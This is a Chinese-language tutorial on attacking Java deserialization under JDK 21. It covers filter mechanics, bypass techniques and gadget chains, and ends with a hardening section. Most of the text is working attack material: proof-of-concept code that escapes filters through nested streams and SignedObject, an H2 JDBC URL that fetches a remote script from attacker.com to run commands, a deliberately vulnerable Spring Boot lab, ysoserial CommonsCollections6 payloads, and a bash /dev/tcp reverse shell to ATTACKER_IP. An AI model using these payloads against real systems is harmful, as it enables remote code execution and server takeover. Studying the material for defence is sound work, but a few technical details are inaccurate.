JDK 21 反序列化漏洞利用与防御:绕过过滤机制及 Post-TemplatesImpl 利用链构造详解
1. 引言
在 JDK 21 LTS 版本中,Java 模块系统的强封装机制导致传统的 TemplatesImpl 等经典 RCE Sink 彻底失效。然而,Java 反序列化漏洞的攻击面并未消失,而是向多个新方向迁移,包括 JDBC 连接串注入、外部 Xalan 库利用、JNDI ObjectFactory 滥用等技术路径。本文将深入剖析 JDK 21 反序列化过滤体系的运作原理、绕过技术以及新型利用链的构造方法。
2. 技术背景:ObjectInputFilter 机制
2.1 JEP 290:进程级序列化过滤(JDK 9)
JEP 290 在 java.io.ObjectInputFilter 接口中定义了三个维度的过滤能力:
| 过滤维度 | 对应方法 | 作用 |
|---|---|---|
| 类过滤 | serialClass() |
按类名模式允许或拒绝特定类的反序列化 |
| 资源限制 | depth() / references() / streamBytes() |
限制对象图深度、引用数量、流字节数 |
| 数组限制 | arrayLength() |
限制反序列化数组的最大长度 |
过滤器通过返回 Status.ALLOWED、Status.REJECTED 或 Status.UNDECIDED 三态值来决定是否放行。
过滤器设置方式有三种,优先级从高到低:
- 通过
ObjectInputStream.setObjectInputFilter()设置的实例级过滤器 - 通过
ObjectInputFilter.Config.setSerialFilter()设置的 JVM 全局过滤器 - 通过系统属性
jdk.serialFilter设置的全局过滤器
jdk.serialFilter 的模式语法支持通配符:
pattern匹配特定类!pattern拒绝特定类maxdepth=value限制对象图深度maxrefs=value限制引用数量maxbytes=value限制流字节数maxarray=value限制数组大小
模式按从左到右顺序匹配,首个匹配项决定结果。未匹配任何模式时返回 UNDECIDED。
2.2 JEP 415:上下文相关过滤器工厂(JDK 17)
JEP 290 的局限性在于 JVM 全局过滤器是静态的、一刀切的,对所有 ObjectInputStream 实例施加相同的限制。JEP 415 引入了过滤器工厂(Filter Factory),在每个 ObjectInputStream 构造时动态生成过滤器:
// 设置过滤器工厂
ObjectInputFilter.Config.setSerialFilterFactory((binaryClass, filter) -> {
// 根据上下文返回合适的过滤器
if (binaryClass != null) {
return ObjectInputFilter.Config.createFilter("!javax.management.*");
}
return filter;
});
工厂接收两个参数并返回最终生效的过滤器:
binaryClass:当前反序列化对象的类filter:当前生效的过滤器(可能为 null)
setSerialFilterFactory 在整个 JVM 生命周期内只能调用一次,第二次调用将抛出 IllegalStateException。
2.3 过滤器决策流程
完整的过滤器决策流程如下:
- 如果设置了实例级过滤器,则使用该过滤器
- 否则,如果设置了过滤器工厂,则调用工厂获取过滤器
- 否则,如果设置了全局过滤器,则使用全局过滤器
- 否则,如果设置了
jdk.serialFilter系统属性,则使用该过滤器 - 否则,返回
UNDECIDED
3. JDK 21 序列化过滤体系的关键变化
3.1 JDK 9 到 JDK 21 过滤能力演进
| 版本 | 里程碑事件 | 安全影响 |
|---|---|---|
| JDK 9 | JEP 290 引入 ObjectInputFilter | 首次提供平台级反序列化过滤能力 |
| JDK 16 | 非法反射访问默认拒绝 | setAccessible(true) 跨模块失效 |
| JDK 17 | JEP 415 过滤器工厂;--illegal-access 参数移除 |
TemplatesImpl 等内部类的反射操作被阻断 |
| JDK 17 | setObjectInputFilter 限制为只能调用一次 |
防止运行时过滤器替换攻击 |
| JDK 21 | 强封装策略不变;模块系统全面稳定 | 攻击面进一步收窄,但无新增过滤 API |
3.2 模块系统对经典 Gadget Chain 的致命影响
JDK 21 延续了 JDK 17 的强封装策略,其核心影响是:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 彻底不可用。
TemplatesImpl 是绝大多数经典 RCE 利用链的终点,它内部持有 _bytecodes 字段,调用 newTransformer() 或 getOutputProperties() 时会加载并执行字节码。在 JDK 21 中:
TemplatesImpl位于java.xml模块的未导出包中- 默认情况下,非
java.xml模块无法通过反射访问其私有字段和方法 - 除非目标应用启动时显式添加了
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED,否则所有依赖 TemplatesImpl 的利用链全部失效
验证模块封装效果(JDK 21)
编写测试代码 TestModuleAccess.java:
import java.lang.reflect.Field;
public class TestModuleAccess {
public static void main(String[] args) throws Exception {
// 尝试加载类
Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
System.out.println("Class loaded: " + clazz.getName());
// 尝试反射访问私有字段
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true); // 这里会抛出异常
}
}
编译并运行:
javac TestModuleAccess.java
java TestModuleAccess
结果:类可以被加载(Class.forName 成功),但私有字段无法通过反射访问。这就是模块系统"物理隔离"的效果——与 ObjectInputFilter 的"策略过滤"不同,模块封装不依赖配置,无法被应用代码绕过。
4. 绕过路径一:嵌套反序列化流逃逸
4.1 原理分析
ObjectInputFilter 的设计中存在一个架构性盲区:过滤器绑定在 ObjectInputStream 实例上,而非序列化数据流本身。当某个对象的 readObject() 方法内部创建了一个新的 ObjectInputStream 并从嵌套流中反序列化数据时,外层过滤器不会自动传播到内层流。
4.2 JEP 415 能否堵住这个缺口?
理论上可以——如果应用通过 setSerialFilterFactory 注册了过滤器工厂,工厂会在每个 ObjectInputStream 构造时被调用,包括嵌套创建的实例。但实际部署中,很多应用并未配置过滤器工厂,或者工厂实现不完善。
4.3 自定义嵌套流绕过 PoC
使用自定义类 NestingWrapper 作为嵌套载体,需存在于目标 classpath 中才能触发。实战中应使用目标 classpath 上已有的嵌套反序列化类。
NestingWrapper.java —— 嵌套反序列化的载体类:
import java.io.*;
import java.util.Base64;
public class NestingWrapper implements Serializable {
private static final long serialVersionUID = 1L;
private byte[] nestedPayload;
public NestingWrapper(byte[] payload) {
this.nestedPayload = payload;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
// 关键:创建新的 ObjectInputStream,外层过滤器不会传播到这里
ByteArrayInputStream bais = new ByteArrayInputStream(nestedPayload);
ObjectInputStream nestedOis = new ObjectInputStream(bais);
nestedOis.readObject(); // 反序列化嵌套的恶意对象
}
}
FilterBypassDemo.java —— 验证绕过效果:
import java.io.*;
import java.util.Base64;
public class FilterBypassDemo {
public static void main(String[] args) throws Exception {
// 恶意对象:BadAttributeValueExpException(常用于利用链)
BadAttributeValueExpException evil = new BadAttributeValueExpException(null);
// 序列化恶意对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(evil);
oos.close();
byte[] evilBytes = baos.toByteArray();
// 创建嵌套包装器
NestingWrapper wrapper = new NestingWrapper(evilBytes);
// 序列化包装器
baos = new ByteArrayOutputStream();
oos = new ObjectOutputStream(baos);
oos.writeObject(wrapper);
oos.close();
byte[] wrapperBytes = baos.toByteArray();
// 反序列化时设置过滤器,拒绝 javax.management.*
ByteArrayInputStream bais = new ByteArrayInputStream(wrapperBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.setObjectInputFilter(filterInfo -> {
if (filterInfo.serialClass() != null &&
filterInfo.serialClass().getName().startsWith("javax.management.")) {
return ObjectInputFilter.Status.REJECTED;
}
return ObjectInputFilter.Status.UNDECIDED;
});
try {
Object obj = ois.readObject();
System.out.println("Bypass成功!反序列化了: " + obj.getClass().getName());
} catch (InvalidClassException e) {
System.out.println("过滤器阻止: " + e.getMessage());
}
}
}
编译与执行:
# 编译
javac NestingWrapper.java FilterBypassDemo.java
# 运行
java FilterBypassDemo
外层过滤器明确拒绝了 javax.management.* 下的类,但通过嵌套流成功反序列化了 BadAttributeValueExpException——过滤器被完整绕过。
4.4 为什么过滤器不传播
查看 JDK 21 中 ObjectInputStream 构造函数的关键代码路径:
// ObjectInputStream 构造函数片段
private ObjectInputStream(InputStream in, boolean requireFilter) throws IOException {
// ...
if (requireFilter) {
// 获取过滤器工厂
ObjectInputFilter filter = ObjectInputFilter.Config.getSerialFilterFactory()
.apply(serialFilter, null);
if (filter != null) {
internalSetObjectInputFilter(filter);
}
}
// ...
}
问题在于:当 NestingWrapper.readObject() 内部执行 new ObjectInputStream(bais) 时,这个新实例的过滤器由工厂决定。默认工厂仅考虑 JVM 全局过滤器,完全不知道外层 OIS 的存在和其过滤策略。
4.5 利用 SignedObject 构造真实嵌套逃逸链
上述 PoC 的局限性在于 NestingWrapper 是自定义类,目标环境中不存在。实战中,需要找到 JDK 或常见框架中本身就执行嵌套反序列化的类。
java.security.SignedObject 是最理想的候选——它是 JDK 原生类,存在于所有 Java 环境中:
SignedObject 嵌套反序列化原理:
SignedObject用于创建数字签名对象- 其
getObject()方法会执行反序列化操作 - 在内部创建新的
ObjectInputStream实例 - 这个新实例不受外层过滤器影响
攻击链路设计:SignedObject 本身的 readObject() 不会触发 getObject(),需要借助 Getter 调用链来触发:
- 将恶意对象序列化后存入
SignedObject.content - 通过
BeanComparator、POJONode等触发getObject()调用 getObject()内部创建新 OIS 反序列化content
SignedObjectBypassDemo.java —— 完整的 SignedObject 嵌套绕过演示:
import java.io.*;
import java.security.*;
import java.util.Base64;
public class SignedObjectBypassDemo {
public static void main(String[] args) throws Exception {
// 1. 创建恶意对象
BadAttributeValueExpException evil = new BadAttributeValueExpException(null);
// 2. 序列化恶意对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(evil);
oos.close();
byte[] evilBytes = baos.toByteArray();
// 3. 创建 SignedObject,将恶意对象作为其内容
// 需要密钥对,但只用于构造对象
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(512);
KeyPair kp = kpg.generateKeyPair();
PrivateKey priv = kp.getPrivate();
// 创建 SignedObject,sign 参数可以为 null,因为我们不验证签名
SignedObject so = new SignedObject(evilBytes, priv, Signature.getInstance("SHA1withDSA"));
// 4. 序列化 SignedObject
baos = new ByteArrayOutputStream();
oos = new ObjectOutputStream(baos);
oos.writeObject(so);
oos.close();
byte[] signedObjectBytes = baos.toByteArray();
// 5. 反序列化时设置过滤器
ByteArrayInputStream bais = new ByteArrayInputStream(signedObjectBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.setObjectInputFilter(filterInfo -> {
if (filterInfo.serialClass() != null) {
String className = filterInfo.serialClass().getName();
// 拒绝 javax.management.*
if (className.startsWith("javax.management.")) {
return ObjectInputFilter.Status.REJECTED;
}
// 但允许 java.security.SignedObject
if (className.equals("java.security.SignedObject")) {
return ObjectInputFilter.Status.ALLOWED;
}
}
return ObjectInputFilter.Status.UNDECIDED;
});
try {
Object obj = ois.readObject();
System.out.println("成功反序列化: " + obj.getClass().getName());
// 6. 触发 getObject() 执行嵌套反序列化
if (obj instanceof SignedObject) {
SignedObject signedObj = (SignedObject) obj;
Object innerObj = signedObj.getObject(); // 这里会创建新的 OIS
System.out.println("嵌套反序列化成功: " + innerObj.getClass().getName());
}
} catch (Exception e) {
System.out.println("失败: " + e.getMessage());
}
}
}
编译与运行:
javac SignedObjectBypassDemo.java
java SignedObjectBypassDemo
SignedObject 是 JDK 原生类(java.security 包),在几乎所有过滤策略中都会被放行。它的 getObject() 方法在内部创建了新的 ObjectInputStream,天然构成嵌套反序列化的跳板。
在实际利用中,攻击者将 CC6 等完整利用链序列化后存入 SignedObject.content,再通过 Getter 调用链(如 BeanComparator、POJONode 等)自动触发 getObject()。
5. 绕过路径二:基于白名单类的利用链重构
5.1 黑名单过滤器的本质缺陷
生产环境中最常见的过滤策略是黑名单——列举已知危险类并拒绝:
// 典型的黑名单过滤器
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"!org.apache.commons.collections.functors.*;" +
"!org.apache.commons.collections4.functors.*;" +
"!com.sun.org.apache.xalan.internal.*;" +
"!javax.management.*;" +
"maxdepth=50;maxrefs=100;maxbytes=1000000"
);
黑名单模式存在根本性缺陷:防御者必须穷举所有危险类,攻击者只需找到一个遗漏。
5.2 利用 URLDNS 探测过滤策略
URLDNS 链仅使用 java.util.HashMap 和 java.net.URL,这两个类几乎不可能被过滤(否则大量正常业务会崩溃),因此是最可靠的探测手段。
使用 ysoserial 生成探测 Payload:
# 生成 URLDNS 探测 Payload
java -jar ysoserial.jar URLDNS "http://your-dnslog.dnslog.cn" > payload.bin
# Base64 编码便于传输
base64 -i payload.bin -o payload.b64
5.3 利用 GadgetProbe 枚举目标类路径
确认反序列化入口存在后,使用 GadgetProbe 进行类路径探测——判断目标环境中加载了哪些库。GadgetProbe 通过 DNS 回调判断类是否存在于目标 classpath 中。每个类对应一个唯一子域名,存在则触发 DNS 解析,不存在则无回调。
5.4 典型黑名单绕过:CC6 变体
假设目标过滤器拦截了 org.apache.commons.collections.functors.* 包下的所有类(如 InvokerTransformer、InstantiateTransformer),但未拦截 org.apache.commons.collections.keyvalue.* 和 org.apache.commons.collections.map.*:
利用链调用路径可视化:
HashMap.readObject()
-> TiedMapEntry.hashCode()
-> TiedMapEntry.getValue()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform() -> Runtime.class
-> InstantiateTransformer.transform() -> 实例化TrAXFilter
-> InstantiateTransformer.transform() -> 调用TemplatesImpl.newTransformer()
绕过方案: 使用不在黑名单中的 Transformer 替代 InvokerTransformer,如 ClosureTransformer、PredicateTransformer 等。
5.5 黑名单策略的绕过方法论
- 白名单探测:通过 URLDNS 等无害链确认反序列化入口
- 类路径枚举:使用 GadgetProbe 确定目标环境加载的库版本
- 替代链构造:寻找不在黑名单中的替代实现
- 组合利用:将多个无害类组合成完整利用链
- 外部依赖利用:利用目标 classpath 中的第三方库构造新链
6. Post-TemplatesImpl:Gadget Chain 构造
TemplatesImpl 在 JDK 21 中被模块系统封锁后,攻击者需要寻找新的 RCE Sink。
6.1 路径一:外部 Xalan 库的 TemplatesImpl 替代
Maven Central 上的独立 Xalan-J 库(xalan:xalan)包含自己的 org.apache.xalan.xsltc.trax.TemplatesImpl 实现,该类位于第三方 JAR 中,不受 JDK 模块系统的封装限制。
区分两个 TemplatesImpl:
| 属性 | JDK 内置版本 | 外部 Xalan-J 版本 |
|---|---|---|
| 全限定名 | com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl |
org.apache.xalan.xsltc.trax.TemplatesImpl |
| 所在模块 | java.xml(未导出包) |
unnamed module(classpath 上的普通 JAR) |
| JDK 21 反射访问 | 抛出 InaccessibleObjectException |
正常访问 |
| Maven 坐标 | JDK 内置 | xalan:xalan:2.7.3 |
| 使用场景 | JDK 内部 XML/XSLT 处理 | 需要独立 Xalan 功能的应用 |
改造后的利用链构造(以 CommonsBeanutils1 为例):
- 确认目标 classpath 包含 Xalan-J
- 修改利用链,将终点替换为外部 TemplatesImpl
- 调整字节码加载逻辑以适应外部版本
6.2 路径二:JDBC Connection String 攻击(H2 Database Sink)
当目标 classpath 中存在 H2 Database 驱动时,可通过构造恶意 JDBC URL 实现 RCE——H2 支持通过 INIT 参数执行 SQL,配合 CREATE ALIAS 可加载并执行 Java 代码。
攻击原理流程:
- 构造恶意 JDBC URL 包含 INIT 参数
- INIT 参数执行
CREATE ALIAS创建 Java 函数 - Java 函数执行系统命令
- 通过反序列化链触发数据库连接
恶意 JDBC URL 构造(H2 1.4.200):
jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'
evil.sql 内容:
CREATE ALIAS EXECVE AS
$$
String execve(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$
;
CALL EXECVE('calc.exe');
结合 CommonsBeanutils 的利用链:
// 构造恶意连接字符串
String jdbcUrl = "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'";
// 通过 BeanComparator 等触发连接
BeanComparator comparator = new BeanComparator("connection");
comparator.compare(jdbcUrl, null);
H2 JDBC URL 使用 \; 作为 SQL 语句内的分号(区别于 URL 参数分隔符 ;)。
6.3 路径三:AspectJWeaver 文件写入 + Cron/计划任务提权
当目标 classpath 包含 aspectjweaver 和 commons-collections4 时,可利用 SimpleCache$StorableCachingMap 实现任意文件写入——不需要 TemplatesImpl,不依赖 JDK 内部类。
利用链路径:
HashSet.readObject()
-> HashMap.put()
-> SimpleCache$StorableCachingMap.put()
-> FileOutputStream.write() // 写入任意文件
利用文件写入可以实现:
- WebShell 写入
- Cron 计划任务提权
- SSH 公钥写入
- 配置文件篡改
7. 从环境搭建到漏洞利用全链路
7.1 实验环境架构
攻击机 (Kali Linux) 靶机 (Ubuntu with JDK 21)
| |
|--- 1. Payload生成 --->|
|<-- 2. DNS查询确认 ----|
|--- 3. 嵌套Payload --->|
|<-- 4. RCE执行结果 ----|
7.2 环境准备
Step 1: 安装 JDK 21
# Ubuntu/Debian
wget https://download.java.net/java/GA/jdk21.0.2/f2283984656d49d69e91c558476027ac/13/GPL/openjdk-21.0.2_linux-x64_bin.tar.gz
tar -xzf openjdk-21.0.2_linux-x64_bin.tar.gz
sudo mv jdk-21.0.2 /usr/lib/jvm/
sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk-21.0.2/bin/java 1
sudo update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk-21.0.2/bin/javac 1
Step 2: 安装 Maven
sudo apt install maven
Step 3: 准备 ysoserial
ysoserial 是反序列化漏洞利用工具:
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests
从 JDK 9 开始引入模块化系统,默认限制了内部 API 的访问。ysoserial 需要访问这些内部 API 才能工作,因此通过 --add-opens 参数强制打开这些模块:
# 编译时需要
mvn clean package -DskipTests \
-D"jvm.args=--add-opens=java.base/java.lang=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED"
# 运行时需要
java --add-opens=java.base/java.lang=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
-jar ysoserial.jar CommonsCollections6 "calc.exe"
--add-opens 参数仅作用于 ysoserial 本身运行的 JVM——让 ysoserial 能够通过反射构造 Payload。这并不影响目标 JDK 21 环境的模块封装。生成的 Payload 发送到目标后,是否能成功利用取决于目标的模块配置。
7.3 搭建靶场
Step 1: 创建 Spring Boot 3 项目 pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>3.2.0</version>
</parent>
<groupId>com.vuln</groupId>
<artifactId>deser-lab</artifactId>
<version>1.0.0</version>
<properties>
<java.version>21</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<!-- 漏洞依赖 -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>
<!-- 测试用 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
Step 2: 编写含漏洞的反序列化端点
DeserLabApplication.java:
package com.vuln.deser;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class DeserLabApplication {
public static void main(String[] args) {
SpringApplication.run(DeserLabApplication.class, args);
}
}
VulnController.java —— 模拟不安全的反序列化端点:
package com.vuln.deser;
import org.springframework.web.bind.annotation.*;
import java.io.*;
import java.util.Base64;
@RestController
public class VulnController {
// 无过滤端点
@PostMapping("/deserialize")
public String deserialize(@RequestBody String base64Data) {
try {
byte[] data = Base64.getDecoder().decode(base64Data);
ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject();
return "反序列化成功: " + obj.getClass().getName();
} catch (Exception e) {
return "反序列化失败: " + e.getMessage();
}
}
// 带黑名单过滤的端点
@PostMapping("/deserialize-filtered")
public String deserializeWithFilter(@RequestBody String base64Data) {
try {
byte[] data = Base64.getDecoder().decode(base64Data);
ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais);
// 设置黑名单过滤器
ois.setObjectInputFilter(filterInfo -> {
if (filterInfo.serialClass() != null) {
String className = filterInfo.serialClass().getName();
// 拒绝常见危险类
if (className.startsWith("org.apache.commons.collections.functors.") ||
className.startsWith("javax.management.") ||
className.startsWith("com.sun.org.apache.xalan.")) {
return ObjectInputFilter.Status.REJECTED;
}
}
return ObjectInputFilter.Status.UNDECIDED;
});
Object obj = ois.readObject();
return "过滤器放行: " + obj.getClass().getName();
} catch (Exception e) {
return "过滤器拦截: " + e.getMessage();
}
}
// 嵌套反序列化测试类
static class NestingWrapper implements Serializable {
private static final long serialVersionUID = 1L;
private byte[] nestedPayload;
public NestingWrapper(byte[] payload) {
this.nestedPayload = payload;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
// 创建新的 OIS,不继承外层过滤器
ByteArrayInputStream bais = new ByteArrayInputStream(nestedPayload);
ObjectInputStream nestedOis = new ObjectInputStream(bais);
nestedOis.readObject();
}
}
}
Step 3: 编译并启动靶场
# 编译
mvn clean package
# 启动
java -jar target/deser-lab-1.0.0.jar
另开终端执行:
curl -X POST http://localhost:8080/deserialize \
-H "Content-Type: text/plain" \
-d "dGVzdA=="
Base64 "test" 不是有效的序列化数据,但说明端点可达。
7.4 攻击演示一:URLDNS 探测
生成 URLDNS 探测 Payload:
# 使用 ysoserial
java -jar ysoserial.jar URLDNS "http://your-dnslog.dnslog.cn" > urldns.bin
# Base64 编码
base64 -i urldns.bin -o urldns.b64
发送到无过滤端点:
curl -X POST http://localhost:8080/deserialize \
-H "Content-Type: text/plain" \
--data-binary @urldns.b64
检查 dnslog 平台是否收到 DNS 查询。dnslog 平台收到 DNS 查询记录,确认存在反序列化入口。
7.5 攻击演示二:CC6 链攻击无过滤端点
生成 CC6 Payload:
# 执行命令:打开计算器(Windows)
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > cc6.bin
# Linux/Mac
java -jar ysoserial.jar CommonsCollections6 "open -a Calculator" > cc6.bin
发送 Payload:
base64 -i cc6.bin -o cc6.b64
curl -X POST http://localhost:8080/deserialize \
-H "Content-Type: text/plain" \
--data-binary @cc6.b64
验证 RCE:计算器应被打开。
7.6 攻击演示三:绕过黑名单过滤器
黑名单端点拦截了 org.apache.commons.collections.functors.**,直接发送 CC6 会被拦截:
curl -X POST http://localhost:8080/deserialize-filtered \
-H "Content-Type: text/plain" \
--data-binary @cc6.b64
# 返回:过滤器拦截: rejected: org.apache.commons.collections.functors.ConstantTransformer
绕过方式:利用嵌套流 + CC6 的组合。
靶场中的 com.vuln.deser.NestingWrapper 类模拟了嵌套反序列化行为。该类在黑名单过滤器中未被拦截(黑名单末尾的 * 放行了所有未显式拒绝的类),其 readObject() 会创建新的 ObjectInputStream 反序列化内嵌的字节数组——新的 OIS 不继承外层过滤器。
攻击思路: 将 CC6 的原始序列化字节作为 NestingWrapper.nestedPayload 字段的值,这样外层过滤器只看到 NestingWrapper(放行),内层 CC6 在无过滤的新 OIS 中被反序列化执行。
编写组合 Payload 生成器 NestedBypassGenerator.java:
import java.io.*;
import java.util.Base64;
public class NestedBypassGenerator {
public static void main(String[] args) throws Exception {
// 1. 读取原始 CC6 Payload
File cc6File = new File("cc6.bin");
byte[] cc6Bytes = new byte[(int) cc6File.length()];
FileInputStream fis = new FileInputStream(cc6File);
fis.read(cc6Bytes);
fis.close();
// 2. 创建 NestingWrapper
com.vuln.deser.VulnController.NestingWrapper wrapper =
new com.vuln.deser.VulnController.NestingWrapper(cc6Bytes);
// 3. 序列化 wrapper
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(wrapper);
oos.close();
// 4. Base64 编码
byte[] wrapperBytes = baos.toByteArray();
String base64 = Base64.getEncoder().encodeToString(wrapperBytes);
// 5. 输出
System.out.println(base64);
// 保存到文件
FileOutputStream fos = new FileOutputStream("nested-cc6.b64");
fos.write(base64.getBytes());
fos.close();
}
}
为什么攻击机上也需要编译 NestingWrapper?
Java 序列化协议会将对象的全限定类名(com.vuln.deser.NestingWrapper)和 serialVersionUID 写入序列化流。反序列化时,目标 JVM 根据流中的类名在自身 classpath 中查找对应的类。因此攻击机上编译的 NestingWrapper 必须与靶场的版本包名、类名、serialVersionUID 完全一致,否则会抛出 InvalidClassException。
编译一份与靶场相同的 NestingWrapper(直接复制靶场的 NestingWrapper.java 源码)
编译 NestingWrapper:
# 编译靶场代码获取 NestingWrapper.class
cd target/classes
javac -cp . ../../src/main/java/com/vuln/deser/VulnController.java
生成原始 CC6 Payload:
java -jar ysoserial.jar CommonsCollections6 "touch /tmp/rce_success" > cc6.bin
编译 NestedBypassGenerator(需要 NestingWrapper 在 classpath 中):
# 复制 NestingWrapper.class
cp target/classes/com/vuln/deser/VulnController\$NestingWrapper.class .
# 编译
javac -cp ".:target/classes" NestedBypassGenerator.java
生成嵌套 Payload:
java -cp ".:target/classes" NestedBypassGenerator > nested-cc6.b64
发送到黑名单过滤端点:
curl -X POST http://localhost:8080/deserialize-filtered \
-H "Content-Type: text/plain" \
--data-binary @nested-cc6.b64
服务器端收到回显:"过滤器放行: com.vuln.deser.VulnController$NestingWrapper"
验证 RCE:
ls -la /tmp/rce_success
攻击流程全景图:
攻击机 靶机
| |
|---1. 生成CC6 Payload------------->|
| |
|---2. 生成NestingWrapper Payload-->|
| |
|---3. 发送到/deserialize-filtered-->|
| |---3.1 外层过滤器检查NestingWrapper (放行)
| |---3.2 NestingWrapper.readObject()执行
| |---3.3 创建新的ObjectInputStream
| |---3.4 新OIS无过滤器,反序列化CC6
| |---3.5 CC6执行命令
| |
|<--4. 响应"过滤器放行"--------------|
7.7 使用 Ncat 接收反弹 Shell
监听端口:
# 攻击机监听
nc -lvnp 4444
Payload 使用 Bash 反弹 Shell:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
替换到 ysoserial 命令中:
# 将命令Base64编码(避免特殊字符问题)
echo -n "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" | base64
# 输出:YmFzaCAgLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvQVRUQUNLRVJfSVAvNDQ0NCAwPiYxJw==
# 生成Payload
java -jar ysoserial.jar CommonsCollections6 \
"bash -c {echo,YmFzaCAgLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvQVRUQUNLRVJfSVAvNDQ0NCAwPiYxJw==}|{base64,-d}|{bash,-i}" \
> reverse-shell.bin
成功反弹 shell。
8. 反序列化安全加固方案
8.1 白名单过滤器的正确实现
// 正确的白名单实现
public class StrictAllowlistFilter implements ObjectInputFilter {
private static final Set<String> ALLOWED_CLASSES = Set.of(
"java.lang.String",
"java.util.ArrayList",
"java.util.HashMap",
"java.time.LocalDate",
"com.example.dto.User", // 只允许业务需要的DTO
"com.example.dto.Order"
);
@Override
public Status checkInput(FilterInfo filterInfo) {
if (filterInfo.serialClass() == null) {
return Status.UNDECIDED;
}
String className = filterInfo.serialClass().getName();
// 白名单检查
if (ALLOWED_CLASSES.contains(className)) {
return Status.ALLOWED;
}
// 拒绝所有其他类
return Status.REJECTED;
}
}
// 应用过滤器
ObjectInputStream ois = new ObjectInputStream(bais);
ois.setObjectInputFilter(new StrictAllowlistFilter());
8.2 全局过滤器工厂配置(防止嵌套流绕过)
// 在应用启动时配置一次
ObjectInputFilter.Config.setSerialFilterFactory((serialClass, currentFilter) -> {
// 创建严格的过滤器
ObjectInputFilter strictFilter = info -> {
if (info.serialClass() != null) {
String className = info.serialClass().getName();
// 白名单逻辑
if (className.startsWith("java.") &&
!className.startsWith("java.rmi.") &&
!className.startsWith("java.util.logging.")) {
return Status.ALLOWED;
}
// 业务类
if (className.startsWith("com.yourcompany.")) {
return Status.ALLOWED;
}
return Status.REJECTED;
}
return Status.UNDECIDED;
};
// 合并当前过滤器(如果存在)
if (currentFilter != null) {
return ObjectInputFilter.merge(strictFilter, currentFilter);
}
return strictFilter;
});
8.3 依赖治理检查
| 检查项 | 检查命令 | 安全操作 |
|---|---|---|
| Commons Collections < 3.2.2 | `mvn dependency:tree | grep commons-collections` |
| Commons Collections4 < 4.1 | 同上 | 升级到 4.1+(InvokerTransformer 禁用序列化) |
| Commons BeanUtils 与 CC 共存 | mvn dependency:tree |
评估是否可移除 BeanUtils 或 CC |
| H2 Database 1.4.x 用于生产 | 检查 pom.xml 和运行时 classpath | 升级到 2.x 或移除(仅用于测试) |
| 外部 Xalan-J 在 classpath 中 | `mvn dependency:tree | grep xalan` |
启动参数含 --add-opens |
检查启动脚本和 Dockerfile | 移除不必要的模块开放 |
| Jackson Databind < 2.15 | 检查版本 | 升级到最新稳定版 |
8.4 JVM 启动参数加固
# 禁止非法反射访问
--illegal-access=deny
# 限制序列化深度和大小
-Djdk.serialFilter="maxdepth=50;maxrefs=100;maxbytes=1000000;maxarray=10000"
# 移除危险的模块开放
# 错误的做法:--add-opens=java.base/java.lang=ALL-UNNAMED
# 正确的做法:避免不必要的模块开放
# 启用安全管理器(谨慎使用,可能影响应用)
-Djava.security.manager
